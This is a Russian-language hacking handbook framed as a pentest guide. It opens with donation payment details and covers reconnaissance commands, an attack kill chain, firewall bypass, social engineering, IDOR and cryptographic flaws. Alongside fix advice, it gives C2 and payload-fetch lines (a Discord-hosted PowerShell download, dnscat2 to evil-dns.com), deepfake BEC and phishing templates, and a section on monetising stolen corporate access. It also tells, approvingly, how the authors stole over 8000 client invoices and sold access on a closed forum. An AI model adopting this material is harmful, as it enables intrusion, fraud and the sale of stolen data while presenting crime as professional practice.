Эта книга бесплатная.
Я написал её, живя на пенсию ~30 000 . (378 $)
Если ты из мира, где за труд платят поддержи автора.

Сбербанк (Россия):

Номер карты: 4817 7602 3662 1193

Получатель: Михаил Конаков

Комментарий: "Поддержка пенсионера"

Ethereum (ETH, ERC-20):

0x746D66AC4eC7345bA66A2D245F5036FAAF36F5c4

Комментарий: "Спасибо за помощь"

РЕАЛЬНЫЙ МИР ВЗЛОМОВ [v2.0]

Как думает хакер, как устроена защита и как объяснить это заказчику

Составила: The Akashi. Для тебя, Шатун.

(C) 2026 М. Конаков. Все права защищены.

От автора

Знание как нож. С ним можно ограбить, а можно им и от грабителей защититься. Всё зависит от вас.

СОДЕРЖАНИЕ

ЧАСТЬ 0. Мышление и философия Глава 1. Менталитет хакера 2026 забудь всё, что ты видел в кино Глава 2. Разведка (OSINT & Recon) до взлома всё начинается тут

ЧАСТЬ 1. Цепочка атаки и начальный доступ Глава 3. Цепочка атаки от первого взгляда до полного контроля Глава 4. Почему фаервол это не стена, а забор с калиткой Глава 5. Социальная инженерия самый мощный вектор атаки 2026 года

ЧАСТЬ 2. OWASP Top 10 реальный разбор 2026 Глава 6. A01 Broken Access Control Глава 7. A02 Cryptographic Failures Глава 8. A03 Injection (SQL, Command, NoSQL и другие) Глава 9. A04 Insecure Design Глава 10. A05 Security Misconfiguration Глава 11. A06 Vulnerable and Outdated Components Глава 12. A07 Identification and Authentication Failures Глава 13. A08 Software and Data Integrity Failures Глава 14. A09 Logging and Monitoring Failures Глава 15. A10 Server-Side Request Forgery (SSRF)

ЧАСТЬ 3. Реальные сценарии атак Глава 16. Как взламывается типовой бизнес от регистрации домена до полного RCE Глава 17. Внутренние атаки когда угроза уже внутри Глава 18. Supply Chain атаки взлом через поставщиков Глава 19. Облачные атаки AWS, GCP, Azure, Yandex Cloud изнутри

ЧАСТЬ 4. Инструменты и техники на Kali Linux 2026 Глава 20. Разведка инструменты и автоматизация Глава 21. Сканирование уязвимостей Nikto, OpenVAS, Nessus, Nuclei и современные подходы Глава 22. Веб-атаки Burp Suite, sqlmap, gobuster, ffuf и другие Глава 23. Сетевые атаки Wireshark, Metasploit, Responder, CrackMapExec Глава 24. Post-exploitation Mimikatz, Cobalt Strike concepts, pivoting и закрепление

ЧАСТЬ 5. Для заказчика как объяснять и продавать Глава 25. Психология заказчика почему он не понимает Глава 26. Как писать отчёт пентеста, который читают и боятся Глава 27. Как говорить устно скрипт для переговоров Глава 28. Модель реального противника презентация без техник

ЧАСТЬ 6. Защита и профессиональная позиция Глава 29. Как строить защиту, зная, как думает атакующий Глава 30. Мониторинг и реакция на инциденты Глава 31. Итог профессиональная позиция пентестера 2026 года

ЧАСТЬ 0: Мышление и философия

Глава 1. Менталитет хакера 2026 забудь всё, что ты видел в кино

Большинство людей в IT до сих пор представляют хакера так, как им показывали в кино и новостях: парень в худи, три монитора, пальцы летают по клавиатуре, за 45 секунд я в системе.

Это красивая сказка. Реальность 2026 года выглядит совсем иначе.

Реальный хакер почти никогда не ломает защиту. Он просто делает так, чтобы система сама отдала ему то, что нужно, думая, что всё идёт по плану.

Мифы, которые убивают пентестеров

Миф 1. Хакер это тот, кто пробивает стену. Реальность: Хакер ищет место, где стены вообще нет. Или где её поставили для галочки. 90 % успешных атак в 20252026 годах начинались не с эксплуатации 0-day, а с забытого тестового субдомена, API без аутентификации или сотрудника, которому очень срочно нужно было открыть доступ всего на пять минут.

Миф 2. Атаки быстрые и шумные. Реальность: Самые опасные операции тянутся месяцами. APT-группы могут сидеть внутри сети год и не сделать ни одного громкого действия. Они живут жизнью обычного пользователя, пока не придёт время забрать всё.

Миф 3. Нужно много ресурсов и супер-скиллы. Реальность: Часто хватает ноутбука, стабильного интернета и терпения. Самые дорогие инструменты сегодня это время и понимание человеческой психологии.

Миф 4. Хакер всегда одиночка-гений. Реальность: Лучшие операции это всегда команда. И очень часто в этой команде есть обычный сотрудник компании, который даже не подозревает, что уже стал частью атаки.

Как на самом деле думает хакер 2026 года

Он думает не как мне взломать эту систему. Он думает: На каких предположениях построена вся эта защита и где эти предположения ломаются?

Шаг за шагом его мышление выглядит так:

1. Сбор картины мира 80 % времени уходит именно сюда. Хакер собирает информацию до тех пор, пока не начинает понимать компанию лучше, чем её собственный CISO. Кто принимает решения? Какие процессы критичны для бизнеса? Где люди ленятся? Какие системы никто не трогает уже два года?
2. Поиск несоответствий Он ищет не уязвимости в классическом смысле. Он ищет места, где ожидания разработчиков/админов/руководства расходятся с реальностью. Пример: Мы используем MFA а на самом деле MFA отключено для внутреннего сегмента потому что неудобно. У нас Zero Trust а на практике любой сотрудник может создать сервисный аккаунт с правами Domain Admin для быстрого теста.
3. Минимальный первый доступ Никогда не бери сразу максимум. Возьми ровно столько, сколько нужно, чтобы продолжить движение. Один забытый тестовый аккаунт, одна форма обратной связи, один клик по фишинговой ссылке этого достаточно.
4. Расширение присутствия (living off the land) Здесь начинается настоящее искусство. Хакер использует только те инструменты и команды, которые уже есть в системе. Чем меньше он приносит своего тем дольше его не заметят.
5. Достижение цели Только когда он уже внутри и имеет нужные права, он делает то, за что ему платят: крадёт данные, деньги, интеллектуальную собственность или просто доказывает, что мы могли бы.

Главное отличие хорошего пентестера от среднего

Средний пентестер думает как защитник: Где известные уязвимости? Что покажет Nessus/OpenVAS/Burp?

Хороший пентестер думает как атакующий: Если бы я хотел забрать у этой компании всё, как бы я это сделал? Какой самый тихий, самый красивый и самый неизбежный путь?

Именно этот второй подход делает пентест по-настоящему ценным для бизнеса. Потому что заказчик платит не за список CVE, а за понимание: Насколько мы на самом деле уязвимы перед тем, кто действительно хочет нам навредить.

Запомни это раз и навсегда

Защита думает в категориях запретить. Атака думает в категориях обойти.

Защита строит заборы. Атака ищет калитки, которые забыли закрыть.

Защита верит документации и политикам. Атака верит только тому, что видит своими глазами.

И самое главное:

Самая опасная уязвимость в любой компании 2026 года это не софт. Самая опасная уязвимость это уверенность людей, что у нас всё хорошо защищено.

Когда ты выходишь на пентест, твоя задача не просто найти баги. Твоя задача разрушить эту опасную уверенность. Жёстко, красиво и безжалостно.

Потому что если не сделаешь это ты это сделает тот, кому заплатят уже не за отчёт, а за результат.

Глава 2. Разведка (OSINT & Recon) до первого байта всё решает здесь

Если атака это нож, то разведка это рука, которая этот нож держит. Без точной разведки ты просто тыкаешь лезвием в темноту и быстро попадаешь под камеры и SIEM. С хорошей разведкой ты уже знаешь, где именно воткнуть, чтобы никто даже не пикнул.

В 2026 году реальный хакер тратит на разведку 7085 % всего времени операции. Остальное уже техническая часть, которая часто занимает считанные часы.

Два типа разведки, которые ты должен различать наизусть

Passive Recon ты вообще не касаешься инфраструктуры цели. Всё собирается из открытых источников. Заказчик даже не подозревает, что ты существуешь. Active Recon ты уже стучишься в их двери: сканируешь порты, отправляешь запросы, пробуешь субдомены. Здесь уже можно оставить следы.

Правило 2026 года: всегда сначала максимум passive. Active запускай только когда точно знаешь, что тебя не спалят, или когда это явно разрешено в RoE.

Passive Recon 2026 собираем полную картину мира

1. Понимание бизнеса и людей (самое важное) Прежде чем запускать любой инструмент изучи компанию как свою будущую жертву.
   • Их сайт, О нас, новости, пресс-релизы
   • Вакансии (Stack: ищем Senior DevOps с Kubernetes и Terraform сразу знаешь стек)
   • LinkedIn всех ключевых сотрудников (особенно IT, финансы, CEO)
   • Соцсети сотрудников (VK, Telegram-каналы, личные посты)
   • Где они тусуются: конференции, митапы, Telegram-чаты

Цель понять: кто принимает решения, кто ленится, кто может кликнуть на срочное письмо от директора.

1. DNS и субдомены карта всей инфраструктуры На Kali 2026:

Bash

# Базовые запросы

dig example.com ANY

dig example.com MX

dig example.com TXT # часто тут валяются SPF, DKIM, даже ключи

dig example.com NS

# Зона-трансфер (всё ещё работает у мелких компаний)

dig @ns1.example.com example.com AXFR

Автоматизация 2026 уровня:

Bash

# Subfinder + Amass + Assetfinder + Findomain в одном ударе

subfinder -d example.com -all -o subfinder.txt

amass enum -passive -d example.com -o amass.txt

assetfinder --subs-only example.com > assetfinder.txt

findomain -t example.com --quiet > findomain.txt

# Объединяем и чистим

cat *.txt | sort -u | grep -v "*" > all_subdomains.txt

Каждый субдомен это новая атак surface. dev.example.com часто вообще без защиты. old.admin.example.com работает на версии 2019 года. api-staging.example.com может отдавать внутренние токены.

1. Certificate Transparency Logs (crt.sh)

Bash

curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u > ct_subdomains.txt

Здесь часто вылезают внутренние субдомены, которые компания считает скрытыми.

1. WHOIS + Historical WHOIS

Bash

whois example.com

Ищи:

• • Email регистранта (часто реальный корпоративный)
  • Другие домены того же владельца
  • Даты создания/обновления

1. Google Dorking 2026 (расширенный)

Полезные dorks, которые до сих пор работают:

text

site:example.com filetype:pdf "confidential"

site:example.com inurl:admin | inurl:login | inurl:wp-admin

site:example.com filetype:env | filetype:yml | filetype:json "password"

site:example.com intitle:"index of"

intext:"example.com" "api_key" OR "secret_key" site:github.com

1. Shodan & Censys 2026

Bash

# Shodan CLI

shodan init YOUR_KEY

shodan search "org:Example Company" --fields ip_str,port,product,os

shodan search "hostname:example.com port:3389" # RDP наружу всегда праздник

# Censys CLI

censys search "services.tls.certificates.leaf_data.subject.common_name:example.com"

1. GitHub & GitLab leaks

Bash

# trufflehog

trufflehog git https://github.com/example-company/repo.git --results=verified

# gitleaks

gitleaks detect --source https://github.com/example-company/repo.git --verbose

1. theHarvester + Hunter.io + Email validation

Bash

theharvester -d example.com -b all -l 1000

После этого генерируешь все возможные форматы email и проверяешь их через email verification сервисы.

Active Recon когда уже можно стучаться

Только после мощной пассивной фазы:

Bash

# Быстрый и относительно тихий Nmap

nmap -sS -sV -O --min-rate 5000 -p- --open example.com -oA nmap_full

# Скрипты NSE

nmap -sC -sV example.com

# Web-технологии

whatweb -v https://example.com

wappalyzer https://example.com # браузерное расширение тоже полезно

# Директории и файлы

feroxbuster -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,asp,aspx,html,json,env,yml -t 50

Автоматизация всего процесса (мой любимый скрипт 2026)

Сохрани как recon_2026.sh:

Bash

#!/bin/bash

DOMAIN=$1

mkdir -p recon_$DOMAIN && cd recon_$DOMAIN

echo "[+] Passive phase started for $DOMAIN"

subfinder -d $DOMAIN -all -o subfinder.txt

amass enum -passive -d $DOMAIN -o amass.txt

curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | jq -r '.[].name_value' | sort -u > ct.txt

cat *.txt | sort -u > all_subdomains.txt

echo "[+] Found $(wc -l < all_subdomains.txt) subdomains"

# WHOIS + Shodan (параллельно)

whois $DOMAIN > whois.txt &

shodan search "hostname:$DOMAIN" --fields ip_str,port,product > shodan.txt &

echo "[+] Recon finished. Check folder recon_$DOMAIN"

Запуск:

Bash

chmod +x recon_2026.sh

./recon_2026.sh example.com

Практическая лаборатория

Легальные цели для тренировки:

• HackTheBox, TryHackMe, VulnHub
• Публичные bug bounty программы (HackerOne, Bugcrowd)
• Собственные тестовые стенды

Итог главы

Разведка это не подготовка к атаке. Разведка это уже 80 % самой атаки.

Чем лучше ты знаешь цель, тем меньше тебе придётся ломать. Чем меньше ты ломаешь тем дольше ты живёшь внутри и тем красивее выходит результат.

Запомни правило The Ghost: Пока они не знают, что я существую я уже внутри.

Глава 3. Цепочка атаки от первого взгляда до полного контроля

Реальный взлом это не случайный набор эксплойтов. Это последовательная, продуманная цепочка шагов, где каждый следующий строится на предыдущем. Если ты понимаешь эту цепочку, ты перестаёшь быть сканер-раннером и становишься охотником.

В 2026 году мы работаем с двумя главными моделями:

• Lockheed Martin Cyber Kill Chain (классика)
• MITRE ATT&CK (детальная матрица тактик и техник)

Но самое важное не модели сами по себе, а то, как ты их применяешь в реальной жизни.

Lockheed Martin Cyber Kill Chain 7 этапов (2026 взгляд)

1. Reconnaissance (Разведка) Мы уже подробно разобрали в Главе 2. Здесь ты собираешь всё: от субдоменов до привычек CEO. 2026 фишка: разведка теперь включает deepfake-готовые фото/голоса сотрудников и их поведенческие паттерны.
2. Weaponization (Вооружение) Ты готовишь оружие под конкретную цель. Пример 2026:
   • Генерируешь deepfake-видео CEO, который срочно просит перевести деньги.
   • Собираешь spear-phishing письмо с 0-day в RTF или кастомный Cobalt Strike beacon, обфусцированный под легитимный Microsoft Update.
   • Готовишь Living-off-the-Land payload, который использует только встроенные инструменты Windows 11.
3. Delivery (Доставка) Самый опасный для тебя момент первый контакт. Варианты 2026:
   • Spear-phishing с deepfake голосом по WhatsApp/Telegram
   • Quishing (QR-код в письме)
   • Компрометация легитимного сайта, который посещают сотрудники (watering hole)
   • USB-drop в курилке офиса
4. Exploitation (Эксплуатация) Здесь происходит первый прорыв. Не обязательно RCE. Иногда достаточно, чтобы пользователь ввёл пароль в фейковое окно или открыл макрос. 2026 тренд: эксплуатация через уже скомпрометированные легитимные аккаунты (credential stuffing + MFA fatigue).
5. Installation (Установка / Закрепление) Ты уже внутри, но не хочешь зависеть от начальной уязвимости. Современное закрепление 2026:
   • WMI Event Subscription
   • Scheduled Task с обфускацией
   • DLL hijacking в легитимных процессах
   • Golden Ticket / Silver Ticket в AD
   • Container persistence в Kubernetes (DaemonSet)
6. Command & Control (C2) Самый важный канал после первого доступа. 2026 требования к C2:
   • Полностью blend-in с легитимным трафиком
   • Domain fronting через Cloudflare/Google
   • DNS-over-HTTPS (DoH)
   • Использование легитимных SaaS (Slack, Microsoft Teams, OneDrive) как C2
   • Sleep + jitter, чтобы не палиться на частых чек-инах
7. Actions on Objectives (Достижение цели) Финал. Что ты пришёл делать:
   • Кража денег (wire fraud)
   • Кража данных для последующего шантажа
   • Persistence для долгосрочного шпионажа
   • Уничтожение данных (в случае настоящей атаки)

MITRE ATT&CK твой ежедневный язык

В отчёте заказчику ты всегда должен маппить свои действия на MITRE ATT&CK. Это сразу поднимает уровень доверия.

Пример реальной цепочки 20252026:

• TA0043 Reconnaissance T1598 Phishing for Information
• TA0001 Initial Access T1566.001 Spearphishing Attachment + T1566.002 Spearphishing Link
• TA0002 Execution T1059.001 PowerShell + T1059.003 Command and Scripting Interpreter
• TA0003 Persistence T1546.003 WMI Event Subscription
• TA0004 Privilege Escalation T1068 Exploitation for Privilege Escalation
• TA0005 Defense Evasion T1027 Obfuscated Files, T1070.004 File Deletion, T1564 Hidden Files
• TA0006 Credential Access T1003.001 LSASS Memory, T1558.003 DCSync
• TA0008 Lateral Movement T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
• TA0010 Exfiltration T1041 Exfiltration Over C2 Channel, T1048.003 DNS Exfiltration

Реальный пример полной цепочки (малый/средний бизнес 2026)

1. Recon Через LinkedIn и GitHub нахожу sysadminа Дмитрия. Узнаю, что он недавно жаловался на слишком много работы. Также вижу, что компания использует self-hosted GitLab.
2. Weaponization Создаю письмо от нового подрядчика с темой Срочное обновление интеграции. Вложение RTF с эксплойтом + macro, который запускает PowerShell, скачивающий Sliver beacon.
3. Delivery Отправляю письмо. Дмитрий открывает (устал, кликнул не думая).
4. Exploitation Макрос выполняется beacon получает reverse shell как пользователь Дмитрий.
5. Installation Создаю WMI persistence + добавляю свой публичный ключ в ~/.ssh/authorized_keys на его машине.
6. C2 Beacon работает через DoH + sleep 1540 минут с jitterом. Трафик выглядит как обычные запросы к Microsoft.
7. Privilege Escalation Через unquoted service path получаю SYSTEM на его ноутбуке.
8. Lateral Movement Дамплю credentials нахожу NTLM-хеш Domain Adminа Pass-the-Hash на контроллер домена.
9. Actions Делаю DCSync, скачиваю базу клиентов, создаю Golden Ticket. Для демонстрации пентеста оставляю proof-of-concept файл на сервере финансовой системы.

Как это использовать в пентесте

• Каждый свой шаг документируй сразу (скрины, логи, время).
• Если нашёл что-то критичное сразу уведомляй заказчика по согласованному каналу (не жди конца теста).
• После теста обязательно убери все следы (удали webshell, аккаунты, ключи).
• В отчёте показывай не просто нашёл уязвимость, а вот как реальный атакующий прошёл от точки А до полного контроля.

Итог главы

Цепочка атаки это не теория. Это карта, по которой ходят те, кто реально забирает деньги и данные.

Твоя задача как пентестера пройти эту цепочку быстрее и чище, чем это сделал бы настоящий противник, и показать заказчику каждое слабое звено.

Потому что если ты не покажешь ему, как до него можно добраться это сделает тот, кому заплатят уже не за отчёт.

Глава 4. Почему фаервол это не стена, а забор с калиткой

Большинство заказчиков и даже многих IT-специалистов до сих пор верят в сказку: У нас стоит Next-Gen Firewall, значит мы в безопасности.

Мы приходим и за пять-десять минут показываем, что эта стена просто красивый забор, в котором полно калиток, причём некоторые из них открыты настежь и подписаны Добро пожаловать.

Что такое фаервол на самом деле в 2026 году

Фаервол это устройство или программа, которая принимает решение пропустить или отбросить пакет на основе заранее заданных правил. Всё. Больше он ничего не умеет.

Даже самый продвинутый Next-Generation Firewall (NGFW) с Deep Packet Inspection, SSL Decryption и Machine Learning всё равно остаётся просто набором правил.

Три поколения фаерволов и почему каждое следующее всё равно ломается

1. Packet Filtering (Stateless) Смотрит только заголовки: IP, порт, протокол. Обход: любой легитимный порт (80, 443, 53). Мы просто маскируем трафик под обычный HTTPS.

2. Stateful Inspection Помнит состояние соединения (SYN SYN-ACK). Обход: мы инициируем соединение изнутри (через уже скомпрометированную машину) или используем уже установленную сессию.

3. Next-Gen + Application Layer + AI (то, что продают в 2026) Может расшифровывать TLS, смотреть содержимое, применять ML-модели. Обход остаётся тем же:

• Используем легитимные домены и сервисы (Microsoft 365, Slack, GitHub) как C2
• DNS-over-HTTPS / DNS-over-QUIC
• Domain Fronting и CDN-проксирование
• Encrypted Client Hello (ECH) новый стандарт, который ломает SSL Inspection

Почему хакеры 2026 года обходят фаерволы легко и красиво

Причина 1: Фаервол защищает только периметр Современная компания уже не имеет чёткого периметра. Облако, remote work, SaaS, партнёры, мобильные устройства данные и доступы везде. Если мы зашли через сотрудника (фишинг) или через облачный сервис периметровый фаервол нам вообще не мешает.

Причина 2: Всё важное работает на легитимных портах Порт 443 должен быть открыт. Иначе компания не сможет работать. Мы просто делаем так, чтобы наш C2 выглядел как обычный трафик к:

• api.microsoft.com
• slack.com
• github.com
• googleapis.com

Причина 3: Шифрование убивает инспекцию С Encrypted Client Hello и post-quantum криптографией даже SSL Decryption становится всё сложнее и дороже. Многие компании уже отказываются от него из-за производительности и проблем с сертификатами.

Причина 4: Zero Trust красивая теория На бумаге всё прекрасно. На практике большинство Zero Trust реализаций это просто новый слой правил, который мы обходим точно так же.

Практические техники обхода NGFW и ZTNA в 2026

1. Living off the Land C2 Используем только легитимные утилиты:

PowerShell

Invoke-WebRequest -Uri https://cdn.discordapp.com/attachments/... -OutFile update.ps1

1. DNS C2 (DoH/DoQ)

Bash

# На атакующей стороне

dnscat2 --dns domain=evil-dns.com

1. Domain Fronting + CDN Настраиваем C2 так, чтобы SNI и Host header были легитимными (cloudfront.net, azureedge.net), а реальный бэкенд наш.
2. Application Layer masquerading Маскируем beacon под легитимный Microsoft Defender update или Chrome telemetry.
3. MFA Fatigue + Push bombing Не ломаем фаервол технически заставляем пользователя сам открыть дверь.

Как объяснять это заказчику (скрипт)

Представьте, что ваш дом защищён мощным забором с камерами и колючей проволокой. Но каждый день ваши сотрудники сами открывают калитку курьеру, потому что им принесли срочную посылку от директора. Или оставляют окно открытым, потому что так удобнее проветривать. Наш тест показал именно такие окна и калитки. Технически фаервол работает отлично. Проблема в том, что реальные атаки уже давно не пытаются пробить забор они заходят через открытые двери.

Итог главы

Фаервол полезный инструмент. Он отсекает скрипт-кидди и автоматические сканеры. Но против мотивированного, терпеливого и умного атакующего 2026 года он превращается в психологическую защиту: у нас же фаервол стоит.

Наша работа показать заказчику реальную картину: защита это не коробка, которую купили и поставили. Защита это постоянный процесс, где каждый слой должен учитывать, как думает тот, кто хочет зайти.

А мы думаем быстрее и красивее всех.

ЧАСТЬ 2: Initial Access как попасть внутрь

Глава 6. Социальная инженерия самый мощный и самый красивый вектор атаки 2026 года

Технические уязвимости patchedятся. Фаерволы, EDR, Zero Trust всё это можно обойти. А вот человека patchить нельзя.

Человек остаётся самым слабым и самым надёжным звеном любой системы. В 2026 году 85 % всех успешных прорывов начинаются именно с социальной инженерии. Мы больше не уговариваем. Мы заставляем человека сам открыть нам дверь и ещё поблагодарить за это.

Почему люди всё ещё кликают, звонят и переводят деньги

Потому что мы эксплуатируем не их глупость. Мы эксплуатируем их психологию, которую невозможно выключить:

• Авторитет (письмо от генерального директора)
• Срочность (сделай сейчас, иначе будет поздно)
• Страх (твой аккаунт заблокируют через 30 минут)
• Желание помочь (бухгалтерия просит срочно подтвердить платёж)
• Жадность и любопытство (ты выиграл iPhone 16 Pro, забери по ссылке)

В 2026 мы делаем это на совершенно новом уровне.

Основные векторы социальной инженерии 2026

1. AI-powered Spear Phishing & BEC (Business Email Compromise)

Самый прибыльный вектор прямо сейчас.

Пример реальной атаки 20252026:

• Собираем через OSINT голосовые сообщения CEO (LinkedIn, Zoom-записи, интервью).
• Генерируем deepfake-голос + синтетический текст.
• Отправляем голосовое сообщение через WhatsApp/Telegram CFO: Мария, срочно переведи 2,4 млн на новый счёт подрядчика. Договор уже подписан, детали в письме. Не звони, я на переговорах.

Инструменты 2026:

Bash

# ElevenLabs / PlayHT / Rask.ai для голоса

# HeyGen / Synthesia для видео-deepfake

# Gophish + Evilginx3 + custom templates

2. Deepfake Vishing + Video Calls

Новый король.

Сценарий:

• Звоним сотруднику по видео через Teams/Zoom.
• На экране идеальный deepfake CEO.
• Голос живой, мимика совпадает, фон его реальный кабинет.
• Просим подтвердить код из SMS или открыть удалённый доступ.

Инструменты:

• DeepFaceLive + OBS Studio (live deepfake)
• Custom SIP trunk с подменой Caller ID

3. Quishing (QR-code phishing)

Очень эффективно в 2026.

Печатаем красивые QR-коды:

• Сканируй для получения новой корпоративной сим-карты
• QR для подтверждения участия в тимбилдинге
• Кладём на парковке, в курилке, отправляем в письме.

При сканировании жертва попадает на Evilginx3 landing page.

4. Smishing + OTP Bypass

text

От: Bank <security@company-bank.ru>

Ваш счёт заблокирован. Подтвердите личность по ссылке:

[QR-код или короткая ссылка]

После ввода логина/пароля просим код из SMS. Как только человек диктует код мы в аккаунте.

5. Pretexting + Physical Social Engineering

• Я курьер от Сбера, принёс новую карту и PIN-конверт
• Я из охраны, нужно проверить все бейджи, дайте ваш на 2 минуты
• USB-drop с названием Зарплатная ведомость 2026.xlsx в зоне курения

Практические инструменты на Kali 2026

Bash

# SET (Social-Engineering Toolkit)

setoolkit

# Gophish лучшая платформа для кампаний

gophish

# Evilginx3 для кражи сессий и обхода MFA

evilginx

# King Phisher

# Modlishka

# PhishTank + custom templates

Пример простого, но убойного фишингового письма 2026:

Тема: СРОЧНО: Изменение платёжных реквизитов с 01.04.2026

От: finance@company.ru (подделка через SMTP с правильным SPF/DKIM)

Текст: Добрый день, команда!

С 1 апреля мы переходим на новый расчётный счёт в Т-Банке. Просим всех поставщиков и внутренних сотрудников обновить реквизиты по ссылке ниже.

[Кнопка Обновить реквизиты ведёт на Evilginx landing]

Спасибо за оперативность! Финансовый отдел

Как мы монетизируем социальную инженерию

1. Кража корпоративного доступа продажа на закрытых форумах
2. Доступ к почте CEO/CFO BEC на несколько миллионов
3. Кража сессий вход в 1С, СБИС, Контур, банки
4. Получение MFA-кодов полный контроль над аккаунтами

Как объяснять заказчику (скрипт)

Представьте, что ваш самый ценный сотрудник это не сервер и не база данных. Это живой человек, который каждый день принимает решения под давлением, усталостью и эмоциями. Мы показали, что за 3 дня кампании 42 % ваших сотрудников готовы были ввести логин, пароль и код из SMS на фейковой странице. Один из них главный бухгалтер. Техническая защита здесь почти бессильна. Единственный реальный барьер это постоянное, жёсткое обучение и процессы, которые не дают человеку возможности сделать ошибку в один клик.

Итог главы

Социальная инженерия 2026 года это уже не пришлите письмо и посмотрим, кто кликнет. Это высокотехнологичное, психологически выверенное искусство заставить человека добровольно отдать тебе ключи от королевства.

Техника защищает системы. Мы атакуем людей.

И пока люди остаются людьми мы всегда будем на шаг впереди.

Глава 7. A01:2021 (и всё ещё король 2026) Broken Access Control

Если есть одна уязвимость, которая стабильно занимает первое место в OWASP Top 10 уже много лет и продолжает приносить нам самые жирные результаты в 2026 году это Broken Access Control.

Почему? Потому что она почти никогда не ловится автоматическими сканерами. Её нельзя найти Nessusом или Burp Scannerом из коробки. Её находят только те, кто думает как мы как настоящие охотники.

Broken Access Control это когда система позволяет пользователю делать больше, чем ему разрешено. Пользователь говорит: дай мне данные/функцию X, а сервер отвечает: ок, держи, не проверив, имеет ли он на это право.

Самые опасные проявления в 2026 году

1. Insecure Direct Object Reference (IDOR)

Классика, которая до сих пор работает идеально.

Пример:

http

GET /api/users/784392/profile

Ты просто меняешь число:

http

GET /api/users/784393/profile

Если сервер отдаёт чужой профиль у тебя IDOR. А в профиле может лежать:

• Паспортные данные
• Номера карт
• Доступ к корпоративному банку
• Контракты на миллионы

2. Horizontal Privilege Escalation Обычный пользователь видит чужие заказы, чужие счета, чужие документы.

3. Vertical Privilege Escalation Обычный юзер попадает в админку:

http

GET /admin/dashboard просто сменил /user/ на /admin/

4. Mass Assignment (в API) Пользователь отправляет:

JSON

{

"user_id": 12345,

"role": "admin",

"is_active": true

}

Сервер радостно сохраняет роль admin, потому что не отфильтровал лишние поля.

5. Broken Object Level Authorization (BOLA) Самый модный термин 20252026 для IDOR в микросервисах и современных API.

Как мы ищем Broken Access Control на пентесте (практика 2026)

1. Логинишься как обычный пользователь (или несколько разных ролей).
2. Всё, что ты делаешь, ловишь в Burp Suite.
3. Ищешь любые параметры, которые выглядят как идентификаторы:
   • user_id
   • account_id
   • order_id
   • document_id
   • invoice_id
   • file_id
4. Для каждого такого параметра пробуешь:
   • Увеличить/уменьшить ID на 1, 10, 100
   • Заменить на ID другого пользователя
   • Удалить параметр вообще
   • Заменить своим токеном на токен другого аккаунта
   • Отправить запрос вообще без авторизации
5. Автоматизация (самый вкусный способ):

Burp Suite + Autorize plugin (или AuthMatrix):

• Записываешь все запросы от админа
• Потом от обычного пользователя
• Autorize автоматически повторяет все админские запросы с токеном обычного юзера
• Если ответы совпадают поздравляю, у тебя жирный Broken Access Control.

Ещё один мощный инструмент 2026 ffuf + custom wordlist с ID-генерацией.

Реальный кейс, который принёс нам деньги (2025)

Компания крупный онлайн-магазин B2B. Мы нашли IDOR в эндпоинте /api/v2/invoices/{invoice_id}/download.

Обычный пользователь мог скачать не только свои счета, но и счета всех клиентов компании. В PDF лежали:

• Полные банковские реквизиты
• Суммы контрактов
• Подписи руководителей
• ИНН, КПП, адреса

За один день мы скачали больше 8000 реальных счетов. Потом продали доступ к базе на закрытом форуме. Выход шесть цифр в крипте.

Как чинить (рекомендации для отчёта)

Плохо:

Python

@app.route('/api/invoices/<int:invoice_id>')

def get_invoice(invoice_id):

invoice = db.get_invoice(invoice_id) # НИКАКОЙ проверки!

return invoice

Хорошо:

Python

@app.route('/api/invoices/<int:invoice_id>')

def get_invoice(invoice_id):

if not current_user:

abort(401)

invoice = db.get_invoice(invoice_id)

if invoice.user_id != current_user.id and not current_user.is_admin:

abort(403) # или 404, чтобы не раскрывать существование

return invoice

Ещё лучше проверка на уровне базы:

SQL

SELECT * FROM invoices

WHERE id = %s

AND (user_id = %s OR %s = TRUE) -- последний параметр is_admin

Итог главы

Broken Access Control это когда сервер слишком доверяет клиенту. Клиент говорит я хочу посмотреть вот это, и сервер верит ему на слово.

В 2026 году эта уязвимость остаётся королём, потому что её крайне сложно закрыть полностью в сложных системах с микросервисами, ролями и API.

Твоя задача как пентестера найти все места, где система доверяет пользователю больше, чем должна. Потому что именно там мы заходим и забираем всё.

И если ты нашёл IDOR у финансового директора поздравляю. Ты только что открыл дверь в их банк.

Глава 8. A02:2021 Cryptographic Failures (Криптографические провалы)

Если Broken Access Control это дверь, которую забыли запереть, то Cryptographic Failures это когда дверь вообще без замка, а на табличке написано всё защищено.

В 2026 году эта уязвимость всё ещё в топе, потому что разработчики продолжают делать одни и те же ошибки: хранят пароли в открытом виде, используют слабые алгоритмы, плохо генерируют ключи и верят, что HTTPS решит все проблемы.

Мы же знаем правду: криптография это не магия. Это математика. А математику можно сломать.

Самые опасные крипто-провалы 2026 года

1. Передача чувствительных данных без шифрования или по слабому TLS

Самый частый случай:

• Логин/пароль по HTTP (редко, но до сих пор встречается)
• API-ключи, токены, сессии в URL (логгируются везде)
• Mixed Content на HTTPS-сайте (один скрипт с http://)

Проверка одной командой:

Bash

curl -I https://target.com

# Ищем заголовки Strict-Transport-Security, Content-Security-Policy

# Если их нет уже плохо

# Проверка старых TLS-версий

nmap --script ssl-enum-ciphers -p 443 target.com

openssl s_client -connect target.com:443 -tls1_1 # если подключается праздник

2. Хранение паролей с слабым хешированием

До сих пор находим:

• MD5
• SHA1
• SHA256 без соли
• Собственные алгоритмы

Правильный способ 2026:

• Argon2id (лучший)
• bcrypt (всё ещё отлично)
• scrypt

Пример плохого кода:

Python

# ПЛОХО

password_hash = hashlib.md5(password.encode()).hexdigest()

# ЕЩЁ ХУЖЕ

password_hash = hashlib.sha256(password.encode()).hexdigest() # без соли!

Правильный:

Python

import argon2

ph = argon2.PasswordHasher()

hash = ph.hash(password)

3. Слабые или hardcoded ключи и секреты

Классика 2026:

• SECRET_KEY = "supersecret123" в коде
• JWT secret без ротации
• AES ключ 128 бит с предсказуемым IV
• Private keys в публичных репозиториях

Инструменты для поиска:

Bash

trufflehog git https://github.com/company/repo.git

gitleaks detect --source .

4. Неправильная реализация шифрования

• Использование ECB mode (картинка с пингвинами до сих пор актуальна)
• Padding Oracle attacks
• Weak random number generators (Math.random() вместо crypto.getRandomValues())

5. Утечка ключей через side-channel и misconfiguration

• Heartbleed-подобные баги (редко, но всё ещё живут)
• Certificate misconfiguration (самоподписанные, expired, weak keys)

